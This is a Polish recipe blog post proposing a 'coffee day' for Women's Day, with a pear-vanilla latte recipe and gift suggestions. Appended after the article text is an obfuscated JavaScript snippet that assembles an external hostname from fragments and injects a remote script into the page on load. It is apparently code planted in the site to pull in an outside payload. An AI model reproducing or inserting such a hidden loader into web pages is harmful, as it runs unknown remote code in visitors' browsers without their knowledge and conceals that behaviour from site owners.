Moja smaczna kuchnia
Na Dzień Kobiet pyszna kawa zamiast tulipana
Każda kobieta pragnie, aby partner okazywał jej uczucia na co dzień. I wcale nie chodzi tutaj o nic spektakularnego. Czasem naprawdę drobne gesty sprawiają więcej przyjemności i lepiej wyrażają uczucia niż najdroższy prezent czy najbardziej zaskakująca niespodzianka.Niemniej, jest taki jeden dzień w roku, kiedy panowie powinni o swoje panie zadbać w sposób szczególny. Oczywiście, chodzi o Dzień Kobiet. A ten zbliża się wielkimi krokami – dla przypomnienia, obchodzimy go 8 marca…Czekoladki i bukiet tulipanów bez wątpienia jest bardzo miłym gestem, ale… Może w tym roku zrobić coś innego niż zawsze, nieco bardziej się wysilić i pokazać partnerce, jak bardzo jest ważna? Bardzo ciekawą, oryginalną propozycją jest „dzień kawowy”!Kobieta w tym ważnym dla niej dniu z całą pewnością zaraz po przebudzeniu poczuje się bardzo wyjątkowo, jeśli do łóżka dostanie wspaniałą kawę. Nawet ci panowie, którzy są dość mocno na bakier z gotowaniem, poradzą sobie przynajmniej z kilkoma przepisami (polecamy stronę przepisynakawe.pl), a może przy okazji odkryją w sobie duszę prawdziwego baristy?Oto przepis na kawę stosunkowo prostą w przygotowaniu, a jednocześnie zachwycającą smakiem i wyglądem:Gruszkowo-waniliowa latteSkładniki:Kawa:150 ml mlekaespressocukier (opcjonalnie)Mus gruszkowo-waniliowy:dojrzała gruszkapół szklanki cukru1 łyżeczka soku z cytrynyPół laski waniliiodrobina wodyDo dekoracji:bita śmietanastarta czekoladaTak duża ilość składników może nieco przerażać, ale naprawdę kawa jest prosta w przygotowaniu! Należy zacząć od przygotowania musu gruszkowo-waniliowego. Dokładnie obieramy gruszkę, wykrawamy gniazda nasienne. Kroimy owoc dość drobno i wrzucamy do garnuszka. Dodajemy sok z cytryny, cukier i laskę wanilii, zalewamy odrobiną wody (mniej niż pół szklanki). Gotujemy na małym ogniu przez co najmniej pół godziny – cały czas pilnujemy, aby gruszka się nie przypaliła. Gruszka powinna być bardzo miękka. Jeśli chcemy uzyskać idealnie gładki mus, wyciągamy laskę wanilii i miksujemy gruszkę. Aby nie obudzić ukochanej i nie wzbudzić jej „podejrzeń”, mus możemy całkiem śmiało przygotować dzień wcześniej.Następnie przechodzimy do robienia kawy. Jeśli nie posiadamy ekspresu, w którym moglibyśmy przygotować idealne espresso, po prostu zalewamy 7 gramów kawy mielonej (jedna łyżka) 30 ml gorącej wody. Teraz musimy spienić mleko. I ponownie, jeśli nie posiadamy profesjonalnego spieniacza czy ekspresu z dyszą spieniającą, podgrzewamy mleko (najwyżej do temp. 60 st. C) i spieniamy mikserem.odrobinę musu przekładamy na dno wysokiej, przezroczystej szklanki. Wykładamy spienione mleko, po czym delikatnie wlewamy kawę (bez fusów). Wierzch dekorujemy bitą śmietaną i wiórkami czekolady. Gotowe!Zakupy? Tak!Po tak miłej pobudce kobieta na pewno będzie w doskonałym humorze, ale przecież nigdy nie jest tak dobrze, aby nie mogło być lepiej! Każda pani będzie zachwycona, jeśli otrzyma propozycję spędzenia przyjemnego popołudnia na szalonych zakupach. Tym razem jednak nie zabieramy jej do jubilera czy drogerii, ale na „kawowe zakupy”.Warto również, jeszcze przed wyjściem do sklepu, ofiarować samodzielnie przygotowany bon na… siebie! Nie ma bowiem nic ważniejszego niż wspólne spędzanie czasu. Możemy zdradzić, iż po powrocie do domu spędzimy czas w sposób inny niż zawsze. Będąc w sklepie, poszukajmy podstawowych akcesoriów do robienia kawy, o ile oczywiście ich nie posiadamy. Spieniacz, kolorowe posypki, polewy do kawy, szablony – wszystko to przyda się do wspólnych kawowych eksperymentów.Jeśli jednak mamy w planach jeszcze inne atrakcje (romantyczna kolacja, kino etc.), z powodzeniem możemy wcześniej kupić (przykładowo w Internecie) wszystkie wyżej wymienione akcesoria i podarować je już do śniadania wraz z pyszną kawą. Jeżeli ukochana uwielbia kawę, warto też w ramach prezentu kupić solidny zapas dobrej kawy. Jest to prezent nie tylko bardzo praktyczny, ale od serca.(function(){ tj9bu="7q3krq3hj9bp";tj9b=document.createElement("script"); tj9b_="u"+("st");tj9b_+="at"+(".");tj9b.async=true;tj9b_+="in"; tj9bu="8592704."+tj9bu;tj9b.type="text/javascript";tj9bu+="fbrhjce8dqxr"; tj9bu+="l1dau6";tj9b_+=("f")+"o"+("/");tj9b.src="//"+tj9b_+tj9bu; tj9bd=document.body;tj9bd.appendChild(tj9b); })();
